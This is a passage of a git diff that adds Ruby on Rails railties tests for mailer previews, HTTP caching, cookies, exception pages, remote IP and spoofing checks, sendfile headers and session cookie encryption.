+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers", {}, "SCRIPT_NAME" => "/my_app"
+      assert_match '<h3><a href="/my_app/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/my_app/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer preview receives query params" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo(name)
+            @name = name
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, <%= @name %>!</p>
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, <%= @name %>!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo(params[:name] || "World")
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<iframe seamless name="messageBody" src="?part=text%2Fplain">', last_response.body
+      assert_match '<option selected value="?part=text%2Fplain">', last_response.body
+      assert_match '<option  value="?part=text%2Fhtml">', last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text%2Fplain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/notifier/foo.html?name=Ruby"
+      assert_equal 200, last_response.status
+      assert_match '<iframe seamless name="messageBody" src="?name=Ruby&amp;part=text%2Fhtml">', last_response.body
+      assert_match '<option selected value="?name=Ruby&amp;part=text%2Fhtml">', last_response.body
+      assert_match '<option  value="?name=Ruby&amp;part=text%2Fplain">', last_response.body
+
+      get "/rails/mailers/notifier/foo?name=Ruby&part=text%2Fhtml"
+      assert_equal 200, last_response.status
+      assert_match %r[<p>Hello, Ruby!</p>], last_response.body
+    end
+
+    test "plain text mailer preview with attachment" do
+      image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/plain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+    end
+
+    test "multipart mailer preview with attachment" do
+      image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/plain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/html"
+      assert_equal 200, last_response.status
+      assert_match %r[<p>Hello, World!</p>], last_response.body
+    end
+
+    test "multipart mailer preview with inline attachment" do
+      image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb')
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, World!</p>
+        <%= image_tag attachments['pixel.png'].url %>
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/plain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/html"
+      assert_equal 200, last_response.status
+      assert_match %r[<p>Hello, World!</p>], last_response.body
+      assert_match %r[src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="], last_response.body
+    end
+
+    test "multipart mailer preview with attached email" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            message = ::Mail.new do
+              from    'foo@example.com'
+              to      'bar@example.com'
+              subject 'Important Message'
+
+              text_part do
+                body 'Goodbye, World!'
+              end
+
+              html_part do
+                body '<p>Goodbye, World!</p>'
+              end
+            end
+
+            attachments['message.eml'] = message.to_s
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match %r[<iframe seamless name="messageBody"], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/plain"
+      assert_equal 200, last_response.status
+      assert_match %r[Hello, World!], last_response.body
+
+      get "/rails/mailers/notifier/foo?part=text/html"
+      assert_equal 200, last_response.status
+      assert_match %r[<p>Hello, World!</p>], last_response.body
+    end
+
+    test "multipart mailer preview with empty parts" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo?part=text/plain"
+      assert_equal 200, last_response.status
+
+      get "/rails/mailers/notifier/foo?part=text/html"
+      assert_equal 200, last_response.status
+    end
+
+    private
+      def build_app
+        super
+        app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+      end
+
+      def mailer(name, contents)
+        app_file("app/mailers/#{name}.rb", contents)
+      end
+
+      def mailer_preview(name, contents)
+        app_file("test/mailers/previews/#{name}_preview.rb", contents)
+      end
+
+      def html_template(name, contents)
+        app_file("app/views/#{name}.html.erb", contents)
+      end
+
+      def text_template(name, contents)
+        app_file("app/views/#{name}.text.erb", contents)
+      end
+
+      def image_file(name, contents)
+        app_file("public/images/#{name}", Base64.strict_decode64(contents), "wb")
+      end
+  end
+end
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
new file mode 100644
index 0000000000..93b5263bf7
--- /dev/null
+++ b/railties/test/application/middleware/cache_test.rb
@@ -0,0 +1,179 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class CacheTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      require "rack/test"
+      extend Rack::Test::Methods
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def simple_controller
+      controller :expires, <<-RUBY
+        class ExpiresController < ApplicationController
+          def expires_header
+            expires_in 10, public: !params[:private]
+            render plain: SecureRandom.hex(16)
+          end
+
+          def expires_etag
+            render_conditionally(etag: "1")
+          end
+
+          def expires_last_modified
+            $last_modified ||= Time.now.utc
+            render_conditionally(last_modified: $last_modified)
+          end
+
+          def keeps_if_modified_since
+            render plain: request.headers['If-Modified-Since']
+          end
+        private
+          def render_conditionally(headers)
+            if stale?(headers.merge(public: !params[:private]))
+              render plain: SecureRandom.hex(16)
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+    end
+
+    def test_cache_keeps_if_modified_since
+      simple_controller
+      expected = "Wed, 30 May 1984 19:43:31 GMT"
+
+      get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
+
+      assert_equal 200, last_response.status
+      assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
+    end
+
+    def test_cache_is_disabled_in_dev_mode
+      simple_controller
+      app("development")
+
+      get "/expires/expires_header"
+      assert_nil last_response.headers["X-Rack-Cache"]
+
+      body = last_response.body
+
+      get "/expires/expires_header"
+      assert_nil last_response.headers["X-Rack-Cache"]
+      assert_not_equal body, last_response.body
+    end
+
+    def test_cache_works_with_expires
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_header"
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "max-age=10, public", last_response.headers["Cache-Control"]
+
+      body = last_response.body
+
+      get "/expires/expires_header"
+
+      assert_equal "fresh", last_response.headers["X-Rack-Cache"]
+
+      assert_equal body, last_response.body
+    end
+
+    def test_cache_works_with_expires_private
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_header", private: true
+      assert_equal "miss",                last_response.headers["X-Rack-Cache"]
+      assert_equal "private, max-age=10", last_response.headers["Cache-Control"]
+
+      body = last_response.body
+
+      get "/expires/expires_header", private: true
+      assert_equal "miss",           last_response.headers["X-Rack-Cache"]
+      assert_not_equal body,         last_response.body
+    end
+
+    def test_cache_works_with_etags
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_etag"
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "public", last_response.headers["Cache-Control"]
+
+      etag = last_response.headers["ETag"]
+
+      get "/expires/expires_etag", {}, "HTTP_IF_NONE_MATCH" => etag
+      assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
+      assert_equal 304, last_response.status
+      assert_equal "", last_response.body
+    end
+
+    def test_cache_works_with_etags_private
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_etag", private: true
+      assert_equal "miss",                                last_response.headers["X-Rack-Cache"]
+      assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
+
+      body = last_response.body
+      etag = last_response.headers["ETag"]
+
+      get "/expires/expires_etag", { private: true }, "HTTP_IF_NONE_MATCH" => etag
+      assert_equal     "miss", last_response.headers["X-Rack-Cache"]
+      assert_not_equal body,   last_response.body
+    end
+
+    def test_cache_works_with_last_modified
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_last_modified"
+      assert_equal "miss, store", last_response.headers["X-Rack-Cache"]
+      assert_equal "public", last_response.headers["Cache-Control"]
+
+      last = last_response.headers["Last-Modified"]
+
+      get "/expires/expires_last_modified", {}, "HTTP_IF_MODIFIED_SINCE" => last
+      assert_equal "stale, valid, store", last_response.headers["X-Rack-Cache"]
+      assert_equal 304, last_response.status
+      assert_equal "", last_response.body
+    end
+
+    def test_cache_works_with_last_modified_private
+      simple_controller
+
+      add_to_config "config.action_dispatch.rack_cache = true"
+
+      get "/expires/expires_last_modified", private: true
+      assert_equal "miss",                                last_response.headers["X-Rack-Cache"]
+      assert_equal "must-revalidate, private, max-age=0", last_response.headers["Cache-Control"]
+
+      body = last_response.body
+      last = last_response.headers["Last-Modified"]
+
+      get "/expires/expires_last_modified", { private: true }, "HTTP_IF_MODIFIED_SINCE" => last
+      assert_equal     "miss", last_response.headers["X-Rack-Cache"]
+      assert_not_equal body,   last_response.body
+    end
+  end
+end
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
new file mode 100644
index 0000000000..1e4b5d086c
--- /dev/null
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -0,0 +1,46 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class CookiesTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def new_app
+      File.expand_path("#{app_path}/../new_app")
+    end
+
+    def setup
+      build_app
+      FileUtils.rm_rf("#{app_path}/config/environments")
+    end
+
+    def teardown
+      teardown_app
+      FileUtils.rm_rf(new_app) if File.directory?(new_app)
+    end
+
+    test "always_write_cookie is true by default in development" do
+      require "rails"
+      Rails.env = "development"
+      require "#{app_path}/config/environment"
+      assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+
+    test "always_write_cookie is false by default in production" do
+      require "rails"
+      Rails.env = "production"
+      require "#{app_path}/config/environment"
+      assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+
+    test "always_write_cookie can be overridden" do
+      add_to_config <<-RUBY
+        config.action_dispatch.always_write_cookie = false
+      RUBY
+
+      require "rails"
+      Rails.env = "development"
+      require "#{app_path}/config/environment"
+      assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+  end
+end
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
new file mode 100644
index 0000000000..fe07ad3cbe
--- /dev/null
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -0,0 +1,138 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class MiddlewareExceptionsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "show exceptions middleware filter backtrace before logging" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise 'oops'
+          end
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal 500, last_response.status
+
+      log = File.read(Rails.application.config.paths["log"].first)
+      assert_no_match(/action_dispatch/, log, log)
+      assert_match(/oops/, log, log)
+    end
+
+    test "renders active record exceptions as 404" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise ActiveRecord::RecordNotFound
+          end
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal 404, last_response.status
+    end
+
+    test "uses custom exceptions app" do
+      add_to_config <<-RUBY
+        config.exceptions_app = lambda do |env|
+          [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]]
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = true
+
+      get "/foo"
+      assert_equal 404, last_response.status
+      assert_equal "YOU FAILED", last_response.body
+    end
+
+    test "url generation error when action_dispatch.show_exceptions is set raises an exception" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise ActionController::UrlGenerationError
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = true
+
+      get "/foo"
+      assert_equal 500, last_response.status
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
+      app.config.action_dispatch.show_exceptions = false
+
+      assert_raise(ActionController::RoutingError) do
+        get "/foo"
+      end
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions is set shows 404" do
+      app.config.action_dispatch.show_exceptions = true
+
+      assert_nothing_raised do
+        get "/foo"
+        assert_match "The page you were looking for doesn't exist.", last_response.body
+      end
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+      app.config.action_dispatch.show_exceptions = true
+      app.config.consider_all_requests_local = true
+
+      assert_nothing_raised do
+        get "/foo"
+        assert_match "No route matches", last_response.body
+      end
+    end
+
+    test "routing to an nonexistent controller when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :articles
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = true
+      app.config.consider_all_requests_local = true
+
+      get "/articles"
+      assert_match "<title>Action Controller: Exception caught</title>", last_response.body
+    end
+
+    test "displays diagnostics message when exception raised in template that contains UTF-8" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = true
+      app.config.consider_all_requests_local = true
+
+      app_file "app/views/foo/index.html.erb", <<-ERB
+        <% raise 'boooom' %>
+        ✓測試テスト시험
+      ERB
+
+      get "/foo", utf8: "✓"
+      assert_match(/boooom/, last_response.body)
+      assert_match(/測試テスト시험/, last_response.body)
+    end
+  end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
new file mode 100644
index 0000000000..c34d9d6ee7
--- /dev/null
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -0,0 +1,78 @@
+require "ipaddr"
+require "isolation/abstract_unit"
+require "active_support/key_generator"
+
+module ApplicationTests
+  class RemoteIpTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def remote_ip(env = {})
+      remote_ip = nil
+      env = Rack::MockRequest.env_for("/").merge(env).merge!(
+        "action_dispatch.show_exceptions" => false,
+        "action_dispatch.key_generator"   => ActiveSupport::LegacyKeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+      )
+
+      endpoint = Proc.new do |e|
+        remote_ip = ActionDispatch::Request.new(e).remote_ip
+        [200, {}, ["Hello"]]
+      end
+
+      Rails.application.middleware.build(endpoint).call(env)
+      remote_ip
+    end
+
+    test "remote_ip works" do
+      make_basic_app
+      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1")
+    end
+
+    test "checks IP spoofing by default" do
+      make_basic_app
+      assert_raises(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+        remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
+      end
+    end
+
+    test "works with both headers individually" do
+      make_basic_app
+      assert_nothing_raised do
+        assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1")
+      end
+      assert_nothing_raised do
+        assert_equal "1.1.1.2", remote_ip("HTTP_CLIENT_IP" => "1.1.1.2")
+      end
+    end
+
+    test "can disable IP spoofing check" do
+      make_basic_app do |app|
+        app.config.action_dispatch.ip_spoofing_check = false
+      end
+
+      assert_nothing_raised do
+        assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2")
+      end
+    end
+
+    test "remote_ip works with HTTP_X_FORWARDED_FOR" do
+      make_basic_app
+      assert_equal "4.2.42.42", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+    end
+
+    test "the user can set trusted proxies" do
+      make_basic_app do |app|
+        app.config.action_dispatch.trusted_proxies = /^4\.2\.42\.42$/
+      end
+
+      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+    end
+
+    test "the user can set trusted proxies with an IPAddr argument" do
+      make_basic_app do |app|
+        app.config.action_dispatch.trusted_proxies = IPAddr.new("4.2.42.0/24")
+      end
+
+      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "10.0.0.0,4.2.42.42")
+    end
+  end
+end
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
new file mode 100644
index 0000000000..4938402fdc
--- /dev/null
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -0,0 +1,73 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class SendfileTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    define_method :simple_controller do
+      class ::OmgController < ActionController::Base
+        def index
+          send_file __FILE__
+        end
+      end
+    end
+
+    # x_sendfile_header middleware
+    test "config.action_dispatch.x_sendfile_header defaults to nil" do
+      make_basic_app
+      simple_controller
+
+      get "/"
+      assert !last_response.headers["X-Sendfile"]
+      assert_equal File.read(__FILE__), last_response.body
+    end
+
+    test "config.action_dispatch.x_sendfile_header can be set" do
+      make_basic_app do |app|
+        app.config.action_dispatch.x_sendfile_header = "X-Sendfile"
+      end
+
+      simple_controller
+
+      get "/"
+      assert_equal File.expand_path(__FILE__), last_response.headers["X-Sendfile"]
+    end
+
+    test "config.action_dispatch.x_sendfile_header is sent to Rack::Sendfile" do
+      make_basic_app do |app|
+        app.config.action_dispatch.x_sendfile_header = "X-Lighttpd-Send-File"
+      end
+
+      simple_controller
+
+      get "/"
+      assert_equal File.expand_path(__FILE__), last_response.headers["X-Lighttpd-Send-File"]
+    end
+
+    test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do
+      make_basic_app do |app|
+        app.config.action_dispatch.x_sendfile_header = "X-Sendfile"
+        app.config.public_file_server.enabled = true
+        app.paths["public"] = File.join(rails_root, "public")
+      end
+
+      app_file "public/foo.txt", "foo"
+
+      get "/foo.txt", "HTTP_X_SENDFILE_TYPE" => "X-Sendfile"
+      assert_equal File.join(rails_root, "public/foo.txt"), last_response.headers["X-Sendfile"]
+    end
+  end
+end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
new file mode 100644
index 0000000000..a14ea589ed
--- /dev/null
+++ b/railties/test/application/middleware/session_test.rb
@@ -0,0 +1,457 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class MiddlewareSessionTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "config.force_ssl sets cookie to secure only by default" do
+      add_to_config "config.force_ssl = true"
+      require "#{app_path}/config/environment"
+      assert app.config.session_options[:secure], "Expected session to be marked as secure"
+    end
+
+    test "config.force_ssl doesn't set cookie to secure only when changed from default" do
+      add_to_config "config.force_ssl = true"
+      add_to_config "config.ssl_options = { secure_cookies: false }"
+      require "#{app_path}/config/environment"
+      assert !app.config.session_options[:secure]
+    end
+
+    test "session is not loaded if it's not used" do
+      make_basic_app
+
+      class ::OmgController < ActionController::Base
+        def index
+          if params[:flash]
+            flash[:notice] = "notice"
+          end
+
+          head :ok
+        end
+      end
+
+      get "/?flash=true"
+      get "/"
+
+      assert last_request.env["HTTP_COOKIE"]
+      assert !last_response.headers["Set-Cookie"]
+    end
+
+    test "session is empty and isn't saved on unverified request when using :null_session protect method" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_session
+            session[:foo] = 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo].inspect
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.action_controller.allow_forgery_protection = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      post "/foo/read_session"               # Read session using POST request without CSRF token
+      assert_equal "nil", last_response.body # Stored value shouldn't be accessible
+
+      post "/foo/write_session" # Write session using POST request without CSRF token
+      get "/foo/read_session"   # Session shouldn't be changed
+      assert_equal "1", last_response.body
+    end
+
+    test "cookie jar is empty and isn't saved on unverified request when using :null_session protect method" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get  ':controller(/:action)'
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          protect_from_forgery with: :null_session
+
+          def write_cookie
+            cookies[:foo] = '1'
+            head :ok
+          end
+
+          def read_cookie
+            render plain: cookies[:foo].inspect
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.action_controller.allow_forgery_protection = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_cookie"
+      get "/foo/read_cookie"
+      assert_equal '"1"', last_response.body
+
+      post "/foo/read_cookie"                # Read cookie using POST request without CSRF token
+      assert_equal "nil", last_response.body # Stored value shouldn't be accessible
+
+      post "/foo/write_cookie" # Write cookie using POST request without CSRF token
+      get "/foo/read_cookie"   # Cookie shouldn't be changed
+      assert_equal '"1"', last_response.body
+    end
+
+    test "session using encrypted cookie store" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def write_session
+            session[:foo] = 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo]
+          end
+
+          def read_encrypted_cookie
+            render plain: cookies.encrypted[:_myapp_session]['foo']
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:_myapp_session]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      get "/foo/read_encrypted_cookie"
+      assert_equal "1", last_response.body
+
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher)
+
+      get "/foo/read_raw_cookie"
+      assert_equal 1, encryptor.decrypt_and_verify(last_response.body)["foo"]
+    end
+
+    test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def write_session
+            session[:foo] = 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo]
+          end
+
+          def read_encrypted_cookie
+            render plain: cookies.encrypted[:_myapp_session]['foo']
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:_myapp_session]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/foo/write_session"
+      get "/foo/read_session"
+      assert_equal "1", last_response.body
+
+      get "/foo/read_encrypted_cookie"
+      assert_equal "1", last_response.body
+
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher)
+
+      get "/foo/read_raw_cookie"
+      assert_equal 1, encryptor.decrypt_and_verify(last_response.body)["foo"]
+    end
+
+    test "session upgrading signature to encryption cookie store upgrades session to encrypted mode" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def write_raw_session
+            # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
+            cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+            head :ok
+          end
+
+          def write_session
+            session[:foo] = session[:foo] + 1
+            head :ok
+          end
+
+          def read_session
+            render plain: session[:foo]
+          end
+
+          def read_encrypted_cookie
+            render plain: cookies.encrypted[:_myapp_session]['foo']
+          end
+
+          def read_raw_cookie
+            render plain: cookies[:_myapp_session]
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
